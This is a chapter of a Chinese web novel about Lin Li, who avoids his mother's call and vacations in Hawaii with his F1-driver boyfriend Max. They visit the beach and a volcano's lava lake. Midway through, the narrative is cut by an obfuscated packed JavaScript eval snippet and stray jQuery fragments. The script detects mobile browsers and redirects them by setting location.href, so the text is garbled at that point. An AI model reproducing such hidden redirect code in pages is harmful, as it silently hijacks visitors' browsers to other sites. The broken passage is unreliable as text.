22.真空地带

作品:《男朋友是F1车手怎么办

    林利坐在公寓地板上,打开的行李箱摊在面前。几件衬衫、T恤、短裤,护照扔在旁边。


    手机震响。


    是妈妈。


    他盯着那两个字,咬了下唇,不情愿地点开接通。


    “圣诞节你不准备回家?”艾琳娜的声音冷冰冰的。


    “我工作……”


    “斯科特都告诉我了。”她打断他,“又是那个车手?上个月才见面,就这么舍不得?”


    林利捏紧手机,目光落在行李箱,里面塞着件麦克斯落下的短袖。


    “妈妈。”


    “林利,你简直不把我的话当回事,你爸爸还不知道你在胡闹……”


    林利抓起行李箱拉链,用力一拽。拉链偏偏在这时候跟他作对,卡住不动,他咬着牙又扯了几下。


    真烦。他不想再继续听下去自找不痛快。


    “有人敲门了。”林利偏过头,对着虚空假装应了一声,“我先挂了。”


    不等对方回应,他迅速切断通话,将手机扔向床,砸在靠垫上弹了一下。


    林利盯着自己的手心,刚才用力过猛,指甲掐出了几道月牙印子。


    手机又震了一声,这次是麦克斯。


    【Emily:明天见。[图片:自拍]】


    他长叹了口气,整个人向后倒去。后脑勺磕在床靠上,发出一声闷响。


    ……


    夏威夷科纳机场闷热得要命,空调像是坏了。


    林利推着行李车出来,衬衫湿透地贴在背上,黏腻的触感让人不舒服。


    他眯起眼在人群里寻找,看到了远处的麦克斯——花短裤,鼻梁晒得红红的,正用力朝他挥手。


    拥抱。


    林利的脸埋进麦克斯的肩膀,闻到一股椰子防晒霜混合着阳光和汗水的味道。


    “累吗?”麦克斯松开他,手还搭在他肩上。


    林利笑着摇摇头。


    “骗人。”麦克斯摘下墨镜打量他,“你眼睛都红了。”


    “飞机上没睡好。”


    麦克斯伸手揉了揉他的头发,接过行李车:“走吧,你肯定累坏了。”


    车开出机场。


    林利看着窗外,黑色的火山岩铺成漫无边际的荒地,粗糙的表面坑坑洼洼,像烧焦的海绵。


    “这里以前都是岩浆。”麦克斯一只手握着方向盘,另一只手伸过来握住林利的手,“几百年前喷发的。”


    “看起来像火星。”


    开了快半小时,景色才慢慢变了。


    远处浮现出建筑物的轮廓,绿色的棕榈树在烈日下显得有些不真实。


    越往前开,左边的海越近,蓝得晃眼。


    “快到了。”麦克斯指了指前方,“茂纳拉尼。”


    别墅面朝大海。


    林利站在车旁,望向无垠的海面。波浪一层层推上来,扑过又热又咸的海风。


    “林。”


    林利转头。


    麦克斯正站在门口,钥匙在手里转。阳光从侧面打过来,勾出他的轮廓。


    “愣着干嘛?”麦克斯笑得灿烂,朝他扬了扬下巴,“进来吧。”


    ……


    第二天醒来的时候,阳光已经从窗帘缝隙钻进来。


    林利睁开眼,麦克斯还在睡,脸半埋在被子里,肩膀随着呼吸起伏。


    他轻手轻脚地换上泳裤,赤着脚走向室外。


    泳池的水很凉。


    林利踩着台阶慢慢下潜,水没过脚踝、小腿、大腿。凉意一路往上爬,激得他皮肤起了一层细密的鸡皮疙瘩。


    他深吸一口气,整个人扎进水里。


    蓝色的光从水面投下来。鸡蛋花的花瓣漂在水面,影子在池底晃。


    世界突然变得安静。


    “起这么早?”麦克斯站在池边,头发乱得像个鸟窝,手里端着瓶冒冷气的气泡水。


    林利闻声浮上水面,抹了把脸,手臂搭在池边仰头看他:“你睡得怎么样?”


    “很好。”麦克斯蹲下身,将饮料递给他,“好久没睡这么踏实了。你呢?”


    林利接过瓶子喝了一口,好冰。


    “还行。”林利把气泡水还给他。


    麦克斯的眼睛在早晨的阳光下很浅。他没穿上衣,肩膀被晒出了一道明显的红。


    “转过去一下。”林利说。


    “嗯?”麦克斯疑惑地扭头。


    林利伸出湿漉漉的手指,轻轻戳了戳他肩胛骨的位置:“这里晒伤了。”


    “啊。”麦克斯缩了下肩膀,龇牙咧嘴道,“昨天忘了补防晒霜。”


    “笨。”


    “你才笨。”麦克斯站起来,动作利落地脱掉T恤,“我也要下来。”


    他一跃而起,弓着身子砸进水里,水花溅得到处都是。


    “F**k!”他浮上来猛地一甩脑袋,湿头发啪地一下抽在脸上,“这么凉!你怎么不早说!”


    “我来不及啊,你哐当一声就下来了。”林利笑得肩膀发颤。


    “不管,你应该阻止我。”麦克斯游过来,凑到林利跟前。水珠挂在他睫毛上,在阳光下亮晶晶的。


    林利伸手推他挤过来的脸,掌心蹭过湿漉漉的脸颊:“滚远点,挤死了。”


    麦克斯顺势抓住他的手腕,拉过来亲了一下手心:“你不能这样对我。”


    他做了个委屈的表情,像只泡泡鱼。


    中午吃完饭,麦克斯执意要去海边。


    “现在?”林利看了眼窗外,阳光刺得眼睛疼,“太晒了吧。”


    “涂防晒霜啊,而且很近的。”麦克斯起身去翻行李。


    他找到防晒霜,挤了一大坨在手心,走回来直接抹在林利脸上。动作很粗鲁,拇指在他颧骨上使劲推开,把防晒霜抹得到处都是。


    “你轻点!脸要被你揉掉了!”林利往后躲。


    “哪有不轻。”麦克斯抓住他的下巴固定住,继续抹,“这样量才够。”


    “好了。”麦克斯拍了拍他的脸,“走吧。”


    他们穿过别墅后面的木栈道,踩上细密的浅米色沙子。


    林利踩上去被激得立刻跳开:“烫死了!”


    “跑快点!”麦克斯已经抢先一步直奔海边,回头冲他大喊。


    林利踮起脚尖小跑着跟上去,沙子烫得脚底板发疼。


    凉凉的海水冲上来,浪花溅到小腿上。


    “舒服。”林利松了口气,脚趾头惬意地蜷了蜷。


    海浪一波接一波。


    林利站在水里,一个浪打来,他差点没站稳,整个人晃了一下。


    麦克斯反应迅速地环过他的腰,将他稳稳带进怀里。


    “站稳点。”


    “浪太大了好吧。”林利反驳。


    “那我怎么没动?”麦克斯刚挑衅完,又一个更大的海浪扑过来,撞得他也趔趄了一下。


    林利立刻趁机推了他一把:“你刚说什么来着?”


    两人笑成一团。


    等浪小了些。


    他们向深处走去,海水浸过腰。


    一群银色的小鱼游过来,在他们腿边绕。


    “你看。”麦克斯压低声音,轻轻拽了拽他。


    他们屏住呼吸,一动不动地立着,生怕惊扰到这群小家伙。


    阳光穿透水面,在水底投下晃动的光斑。


    很安静。只余下起伏的浪声,还有远处海鸟掠过的长鸣。


    ……


    凌晨四点,闹钟滴滴响起。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178562|196580||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    林利迷迷糊糊爬起来找衣服。


    外面天还黑着。


    包车准时到了。司机兼向导是个六十多岁的本地大叔,皮肤晒得黝黑,穿着褪色的印花衬衫。


    “早。”他咧嘴笑,露出一口白牙,“要开两个多小时,你们可以再睡会。”


    车里放着慢悠悠的夏威夷老歌,吉他混着人声。


    林利靠在窗边,半睡半醒。车子颠簸,脑袋一晃一晃。


    麦克斯的手搭在他腿上,指头有一下没一下地打着圈。


    窗外星星密密麻麻。


    天边泛白时,他们到了火山国家公园。停车场空荡荡的,只有两三辆车。


    “走吧,趁人还少。”向导说。


    踩在火山岩上,脚底嘎吱嘎吱响。


    黑色的岩石,粗糙的形状有些怪异。


    林利低头盯着脚下,这些都是岩浆冷却后的样子。他踩着的以前都是滚烫的红色液体,现在凝固成了冰冷坚硬的石头。


    硫磺味越来越重,熏得人鼻腔发酸。


    “好臭。”林利皱着鼻子,抬手扇了扇。


    “EW,”麦克斯也皱眉,嫌弃地说,“闻起来像臭鸡蛋。”


    地面的温度在上升。裂缝里冒着白色的蒸汽,嘶嘶作响。


    林利好奇地蹲下身,试探着想伸手感受温差。


    “别碰。”麦克斯一把抓住他手腕,“你想变成烤肉吗?”


    “我就看看。”


    “看看也不行。”麦克斯握紧他的手,半拽半拉地带着他继续向上。


    再往上走,越来越热。


    林利的呼吸开始变重,每一步都走得有些吃力。


    麦克斯递水过来,瓶子已经被蒸得温温的。


    “还有多久啊?”,林利灌了一口水问。


    “快了。”麦克斯仰头看向前面,“你看。”


    向导已经停在平台上,回头冲他们招手。


    林利走上观景台,整个人愣住了。


    面前是巨大的深渊。


    坑壁是层层叠叠的黑色岩石。


    而坑底是一片红色。鲜艳又刺眼,像血一样。


    那是熔岩湖在翻滚。粘稠的液体旋转着,表面结了黑色的壳,又不断被顶裂,露出下面喷薄的岩浆。


    裂开、合上、又裂开。


    像在呼吸。


    像地球的心脏在跳。


    太热了。汗不停往下滴,林利却顾不上擦,他的手死死抓紧栏杆。


    地底传来持续的轰鸣,震得他胸腔都在颤。他突然意识到自己有多渺小。站在这里,面对如此原始、如此庞大的力量,他什么都不是。


    “哇……”他低声感叹,声音在热风里有点发抖。


    “是挺牛的。”麦克斯的声音也一样。


    林利侧头,红光在麦克斯脸上明明灭灭,勾勒出他同样愕然的神情。


    林利的呼吸渐渐平稳。


    那些烦恼、担心、关于未来的焦虑,好像都被这股地热给熔化了。


    “它会一直烧下去吗?”林利突然开口。


    “不知道。”麦克斯耸了耸肩,视线仍落在远处,“应该会吧。”


    “如果有一天熄灭了呢?”


    麦克斯转过头,在熔岩的红光下,他的蓝眼睛显得很深。


    “你在说火山?”


    林利没有回答,避开了他的视线。


    过了一会,麦克斯捏了捏他的手臂:“走吧?”


    林利点点头,这才回过神。


    麦克斯顺势握住了他的手,手掌又烫又湿。


    离开时,林利最后回了一次头。


    会一直烧下去吗?没人在乎。


    但至少此时此刻,它还在燃烧。